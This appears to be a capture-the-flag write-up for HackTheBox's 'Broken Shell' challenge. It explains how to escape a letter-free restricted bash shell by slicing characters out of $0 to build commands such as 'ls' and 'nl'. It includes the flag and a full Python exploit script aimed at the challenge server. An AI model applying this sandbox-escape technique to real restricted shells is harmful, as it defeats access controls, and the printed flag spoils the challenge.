Broken Shell
hackthebox
Task: Escape a restricted bash shell that only allows numbers and special characters (no letters). Solution: Use bash parameter expansion ${var:offset:length} to extract letters from $0 variable and construct commands like 'ls' and 'nl'.
$ ls tags/ techniques/
Broken Shell — HackTheBox
Description
A "secure sandbox environment" that only allows specific symbols and numbers. The challenge presents a restricted bash shell where only certain characters are permitted.
Allowed characters:
^[0-9${}/?"[:space:]:&>_=()]+$
This means:
- Numbers 0-9
$,{,},/,?,", spaces,:,&,>,_,=,(,)- NO letters allowed!
Analysis
The key insight is that bash's parameter expansion ${var:offset:length} allows extracting individual characters from variables without using letters directly.
The $0 variable contained the script path: /home/restricted_user/broken_shell.sh
This gave us access to letters at specific positions:
| Position | Character |
|---|---|
| 1 | h |
| 2 | o |
| 3 | m |
| 4 | e |
| 6 | r |
| 8 | s |
| 9 | t |
| 11 | i |
| 12 | c |
| 15 | d |
| 16 | _ |
| 17 | u |
| 22 | b |
| 25 | k |
| 27 | n |
| 32 | l |
Solution
Step 1: List files with ls
Construct ls using parameter expansion:
${0:32:1}${0:8:1} # l(32) + s(8) = "ls"
Output revealed: this_is_the_flag_gg
Step 2: Read file with nl (number lines)
${0:27:1}${0:32:1} ??????????????????? # n(27) + l(32) = "nl" # ??????????????????? = glob pattern matching 19-character filename
Output:
1 'This file contains the flag. The problem is that it is not on the first line so you have to read the whole file to get it :) '
2 '
3 HTB{?y0u?4r3?4?tru3?b45h?3xp3rt}
Alternative Commands
Other commands that could be constructed from available characters:
- source:
${0:8:1}${0:2:1}${0:17:1}${0:6:1}${0:12:1}${0:4:1}(s+o+u+r+c+e) - sort:
${0:8:1}${0:2:1}${0:6:1}${0:9:1}(s+o+r+t) - more:
${0:3:1}${0:2:1}${0:6:1}${0:4:1}(m+o+r+e)
Full Exploit Script
#!/usr/bin/env python3 """ Broken Shell - HackTheBox Jail Escape Uses bash parameter expansion to construct commands without letters """ import socket HOST = "94.237.120.233" PORT = 33556 def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) return s def send_cmd(s, cmd): s.send((cmd + "\n").encode()) return s.recv(4096).decode() # $0 = /home/restricted_user/broken_shell.sh # Positions: h(1) o(2) m(3) e(4) r(6) s(8) t(9) i(11) c(12) d(15) _(16) u(17) b(22) k(25) n(27) l(32) # Construct "ls" ls_cmd = '${0:32:1}${0:8:1}' # l + s # Construct "nl" (number lines - reads whole file) nl_cmd = '${0:27:1}${0:32:1}' # n + l # Glob pattern for 19-character filename "this_is_the_flag_gg" filename = '?' * 19 s = connect() print(s.recv(4096).decode()) # Banner # List files print(f"[*] Sending: {ls_cmd}") print(send_cmd(s, ls_cmd)) # Read flag file cmd = f'{nl_cmd} {filename}' print(f"[*] Sending: {cmd}") print(send_cmd(s, cmd)) s.close()
Key Indicators
Use this technique when:
- Restricted shell with limited character set
- Letters are blocked but
${}syntax is allowed $0or other variables contain useful characters- Glob patterns (
?,*) are permitted - Bash parameter expansion
${var:offset:length}is available
References
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][Pro]HashCashSlash— 0xl4ugh
- [misc][free]Locked Away— hackthebox
- [misc][free]Character— hackthebox
- [pwn][free]Labyrinth— HackTheBox
- [pwn][free]Execute (pwn_execute)— hackthebox